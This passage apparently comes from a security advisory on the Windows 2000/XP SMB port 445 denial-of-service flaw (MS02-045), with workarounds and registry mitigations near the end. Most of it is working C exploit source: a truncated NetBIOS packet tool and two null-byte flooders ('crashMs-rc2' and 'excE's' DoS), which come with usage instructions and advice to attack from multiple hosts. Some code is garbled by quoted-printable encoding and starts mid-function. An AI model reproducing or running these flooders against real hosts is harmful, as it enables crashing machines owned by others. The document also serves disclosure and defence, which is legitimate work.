unsigned int udp_timeout = 10;
unsigned int tcp_timeout = 10;
unsigned short netbios_ssn_port = 139;
unsigned short netbios_ns_port = 137;
fd_set rfds;
struct timeval tv;
srand (time (NULL));
print_banner ();
while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1)
{
switch (c)
{
case 'N':
name = optarg;
break;
case 'n':
packets = atoi (optarg);
break;
case 'p':
netbios_ns_port = atoi (optarg);
break;
case 'P':
netbios_ssn_port = atoi (optarg);
break;
case 't':
udp_timeout = atoi (optarg);
break;
case 'T':
tcp_timeout = atoi (optarg);
break;
case 'h':
default:
showhelp = 1;
break;
}
}
if (optind < argc)
hostname = argv[optind++];
if (showhelp || hostname == NULL)
{
printf ("Usage: %s [options] hostname/ip...\n", argv[0]);
printf
(" -N [netbios-name] Netbios Name (default: ask the remote
host)\n");
printf
(" -n [packets] Number of crafted packets to send (default: %d)\n",
packets);
printf
(" -p [netbios-ns port] UDP Port to query (default: %d)\n",
netbios_ns_port);
printf
(" -P [netbios-ssn port] TCP Port to query (default: %d)\n",
netbios_ssn_port);
printf
(" -t [udp-timeout] Timeout to wait for receive on UDP ports
(default: %d)\n",
udp_timeout);
printf
(" -T [tcp-timeout] Timeout to wait for receive on TCP ports
(default: %d\n",
tcp_timeout);
printf ("\n");
printf ("Known vulnerable systems: \n");
printf (" - Windows NT 4.0 Workstation/Server\n");
printf (" - Windows 2000 Professional/Advanced Server\n");
printf (" - Windows XP Professional/Home edition\n\n");
exit (1);
}
if (!name
&& (name =
list_netbios_names (buffer, sizeof (buffer), hostname,
netbios_ns_port, udp_timeout)) == NULL)
exit (1);
else
name = extract_name (name);
printf ("Using netbios name: %s\n", name);
printf ("Connecting to remote host (%s:%d)...\n", hostname,
netbios_ssn_port);
fd = tcp_connect (hostname, netbios_ssn_port);
if (fd
Update (06 January 2002)
======
/* Code by ch0wn */
/*
* O Soft Utiliza a falha do Microsoft-ds,
* que quando recebe 10k de NULL trava, dando
* blue screen. =)
* Nao me responsabilizo por uso indevido.
* ch0wn <[email protected]>
* iplogd <[email protected]>
* >> 03/01/2003
*
* msg = pt_BR
* Esse prog foi feito com TCP,
* caso queira que seja UDP , apenas modifique o
* SOCK_STREAM
* para SOCK_DGRAM.
*
* msg = us_US
* This soft (or exploit ? :) )
* was done with TCP, and if you wanna use UDP, just change
* SOCK_STREAM
* by SOCK_DGRAM.
*
* Modo de utiliza��o:
* descompacte o arquivo
* tar -xzvf crashMs-rc2.tar.gz
* cd crashMs-rc2/
* make all
*
* Execute:
* ./crashMs-rc2 <vitima> <porta> <numero vezes>
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <stdlib.h>
#define VERSAO "rc2"
#define PORTA "445"
int main(int argc, char *argv[], char *pacote, int porta, int vezes) {
int sock, conexao, comeco = 1;
struct sockaddr_in remoto;
struct hostent *he;
void autors() {
printf("C0d3rz By:\n");
printf("\tch0wn <[email protected]>\n");
printf("\tiplogd <[email protected]>\n");
}
void usage() {
puts("");
printf("Error. Modo de usar: \n");
printf(" $ %s <vitima> <porta> <numero vezes>\n\n", argv[0]);
printf("Porta padrao do ms-ds : (%s)\n",PORTA);
printf("---\n");
printf("crashMs-%s\n",VERSAO);
autors();
}
if(argc != 4) {
usage();
exit(0);
}
he = gethostbyname(argv[1]);
if(he < 0) {
printf("\n Erro. Host desconhecido.\n");
exit(0);
}
vezes = atoi(argv[3]);
for(comeco=1;comeco<=vezes;comeco++) {
porta = atoi(argv[2]);
remoto.sin_family = AF_INET;
remoto.sin_port = htons(porta);
remoto.sin_addr = *((struct in_addr *)he->h_addr);
/*Aqui eh a parte. Caso queira usar UDP, troque na linha abaixo o SOCK_TREAM por SOCK_DGRAM */
/*If you wanna use UDP protocol, change at next line SOCK_STREAM by SOCK_DRAM */
sock = socket(AF_INET, SOCK_STREAM, 0);
if( sock < 0) {
printf("\n Erro com os sockets. \n");
exit(0);
}
conexao = connect(sock, (struct sockaddr *) &remoto, sizeof remoto);
if( conexao < 0) {
printf("\n Erro ao conectar...Saindo...\n");
sleep(1);
close(sock);
exit(0);
}
bzero(pacote,sizeof(pacote));
pacote = malloc(10*1024 *sizeof(char));
printf("\nTentando enviar...\n");
send(sock, pacote, 10*1024,0);
if( send < 0) {
printf("\nErro ao enviar pacotes...\n");
exit(0);
}
printf("\nMandou %d vezes", comeco);
close(sock);
}
printf("\nFinalizado!\n");
printf("Provavelmente ocorreu (blue screen), ou travou.\n\n");
autors();
}
Update (21 January 2003)
======
/********************************************************
* Microsoft Windows 2000 Remote DoS *
* --------------------------------- *
* *
* Hello :) *
* This is an DoS exploit that utilizes the flaw found *
* by KPMG Denmark, to crasch or hang any Win2k box *
* running the LanMan server on port 445 (ms-ds). *
* What it does is just a simple 10k NULL string *
* bombardment of port 445 TCP or UDP. *
* *
* *
* By: Daniel Nystrom <[email protected]> *
* Download: www.telhack.tk / exce.darktech.org *
* *
* Suggestions: When performing the attack, use UDP if *
* you are attacking from a single host. *
* TCP only eats about 35% CPU on an AMD *
* Athlon XP 1800+ while UDP eats 99%. *
* So if TCP is the only option, use more *
* than one attacking host. All in all this *
* DoS is "pretty weak" and should be used *
* from more than one host in each attack *
* to get the best result. *
* *
* Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested). *
* Should compile on other *nix's as well. *
* *
* Thanks: Peter Grundl, for answering my Q's :) *
* *
* greets: xenogen, ifa-, zeromatic, RTJ, all@telhack *
* *
********************************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>
#define MICROSOFT_DS_PORT 445
unsigned long resolveTarget(char nstarget[]);
int main(int argc, char *argv[])
{
int sock;
int count;
struct sockaddr_in target;
unsigned short port =3D MICROSOFT_DS_PORT;
char *nullbuffer;
printf("%c[41m", 0x1B);
fprintf(stdout, "\n--[ excE's Remote Microsoft Windows 2000 DoS =
(microsoft-ds)\n");=20
printf("%c[0m", 0x1B);
fprintf(stdout, =
"-----------------------------------------------------------\n");
if(argc !=3D 4)
{
fprintf(stderr, "--[ Invalid number of parameters!\n");
fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> =
<Send Count>\n", argv[0]);
fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000\n\n", =
argv[0]);
exit(-1);
}
nullbuffer =3D (char *) malloc(10*1024*sizeof(char));
bzero(nullbuffer,sizeof(nullbuffer));
=09
fprintf(stdout, "--[ Starting attack on %s...\n", argv[1]);
memset(&target, 0, sizeof(target));
target.sin_family =3D AF_INET;
target.sin_addr.s_addr =3D resolveTarget(argv[1]);
target.sin_port =3D htons(port);
if(argv[2][0] =3D=3D 'U')
{
if((sock =3D socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
=09
fprintf(stdout, "--[ Sending NULL byte string * %d via UDP\n", =
atoi(argv[3]));
for(count=3D0;count<atoi(argv[3]);count++)
{
if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct =
sockaddr *) &target, sizeof(target)) !=3D strlen(nullbuffer))
{
perror("sendto() failed ");
exit(-1);
} else { printf("."); }=20
}
close(sock);
printf("\n");
}
else if(argv[2][0] =3D=3D 'T')
{
=09
fprintf(stdout, "--[ Connecting and sending NULL byte string * =
%d...\n", atoi(argv[3]));
=20
if((sock =3D socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
{
perror("connect() failed ");
exit(-1);
}
for(count=3D0;count<atoi(argv[3]);count++)
{=20
if(send(sock, nullbuffer, strlen(nullbuffer), 0) !=3D =
strlen(nullbuffer))
{
perror("send() failed ");
exit(-1);
} else { printf("."); }
}
close(sock);
printf("\n");
} else
{
fprintf(stderr, "--[ Error: You must define a protocol (TCP or =
UDP)\n\n");
exit(-1);
}
fprintf(stdout, "--[ Finished flooding target!\n");
fprintf(stdout, "--[ http://www.telhack.tk\n");
=09
return 0;
}
unsigned long resolveTarget(char nstarget[])
{
struct hostent *targetname;
if((targetname=3Dgethostbyname(nstarget)) =3D=3D NULL)
{
fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or =
hostname\n");
exit(-1);
}
return *((unsigned long *) targetname->h_addr_list[0]);
}
SOLUTION
Microsoft has released a fix to the problem.
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-045.asp
Workarounds
===========
- Disable anonymous access (NULL connections)
This will not prevent legitimate users from abusing the vulnerability.
- Block access to the SMB ports from untrusted networks.
Blocking access to ports tcp/445 and tcp/139 at the network perimeter
will prevent attacks from untrusted parties. However, this is not a
viable solution for environment were file and printing services are
needed for legitimate users.
- Shutdown the Lanman server (net stop lanmanserver)
This prevents exploitation from any attacker but removes all file and
print sharing functionality from the vulnerable server. It might not be
a viable solution in many environments.
Update (04 September 2002)
======
You will have to disable port 445 altogether :
http://www.darknet.org.uk/content/files/securewin2k.txt
Port 445 - This is a highly debated area by Microsoft themselves and
many others It's uses are discussed here:
http://ntsecurity.nu/papers/port445/
Method 1: Steps in Windows 2000 Professional, SP2: (Please read others
below before proceeding as this one may prevent
DHCP from functioning correctly which most Cable ISPs require and some
Other ISPs too)
1. Open Computer Management
2. Click on Device Manager
3. Select View: Show Hidden Devices
4. Click on Non-Plug and Play Drivers
5. Open Properties for NetBIOS over TCPIP
6. Click on Disable
7. Reboot per prompt
If you do not disable the TCP/IP NetBIOS Helper Service at the same
time an error will be logged to the system event log.
You can Disable this service in Administrative Tools - Services if
desired as detailed below.
Alternate Procedure: The following information was developed, tested,
and supplied by T-1 ([email protected])
Go to :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\
Value Name: TransportBindName
Data: \device\
Either Rename TransportBindName to something like TransportBindNameX
(Easier to change back later) Or Delete \device\. Then Reboot.
The Registry tweak is more flexible because the NetBT driver is allowed